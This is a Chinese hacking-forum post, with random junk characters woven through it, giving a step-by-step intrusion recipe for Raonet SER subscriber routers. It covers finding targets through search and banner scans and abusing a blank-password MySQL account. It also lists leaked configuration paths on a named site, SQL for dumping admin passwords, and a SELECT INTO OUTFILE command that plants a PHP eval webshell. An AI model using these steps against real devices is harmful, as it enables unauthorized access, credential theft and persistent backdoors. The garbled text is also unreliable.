寻找存在漏洞的路由器方法：$ Y: z" ]) _4 v; f# t$ k0 L* G
) D+ ~, h- E7 t3 `$ v1：google搜索'Raonet Subscriber Ethernet Router') y3 E' S! X# R
9 z9 f8 r% A- ?: L0 }- H, R) m
2：使用WebDAVScan扫80端口，http banner为thttpd/2.21b 23apr20011 k8 L; w; w1 h% o0 d
# w4 {3 n# ]" v5 T" t# k5 r1 d- |3：扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14，默认有一个高权限的帐户mysql，口令为空。
6 _* z, `; u3 X# l- }+ h2 x" M6 R \0 t9 \/ _
//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......0 ?- p, H- U1 C6 x! h
( X5 K' T6 T/ @' v* J+ A- i
" K. _+ N; P8 y9 b
6 s" e1 `& N1 L3 X% r入侵步骤：4 T6 T6 ~7 ?2 \, _ H$ Z
0 J+ ?$ M: f ^. p& C1.爆web路径，http://www.yu1u.org/src/jpgraph_line.php
3 s- L9 R! G1 f4 W
b' _" R9 t- I6 C& [2:查看数据库配置文件，http://www.yu1u.org/inc/conn_db.inc4 c' a" U; @; v* J9 n" I9 O
3：得到密码后连接，查看GUI管理密码：5 {3 R3 b6 e s$ P' E4 V$ M! k
use ser_500' v# y% S7 G' @- }% x
select id,passwd from user;. Z+ Z9 Q5 [% v/ z3 X; b
4:通过数据库写入webshell，执行命令：( r+ c+ `% C9 y& l
use mysql;
4 }* ?! ~! `" T. `; h7 qcreate table ok(cmd TEXT);
! h) f$ {$ R. \3 s" {insert into ok values("<?php @eval($_POST[cmd])?>");# z, q) \1 X9 s0 E8 W
select * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";) f8 l8 p/ |) b e7 L) r& d4 z
drop table ok;
( x5 T E$ ?9 Z, `8 ~: W
% U; ^" v! f: G. F5:连接后门shell.php
5 p* I8 O7 T( c9 |' X
b5 m4 o* {) d' u8 V6. 搞定！
* B0 T9 n* [) T) r0 X7 M$ h/ t2 [" u0 K# B- L n
|
发表于 2012-12-10 10:30:18
收藏
支持
反对
发表于 2013-7-27 20:06:50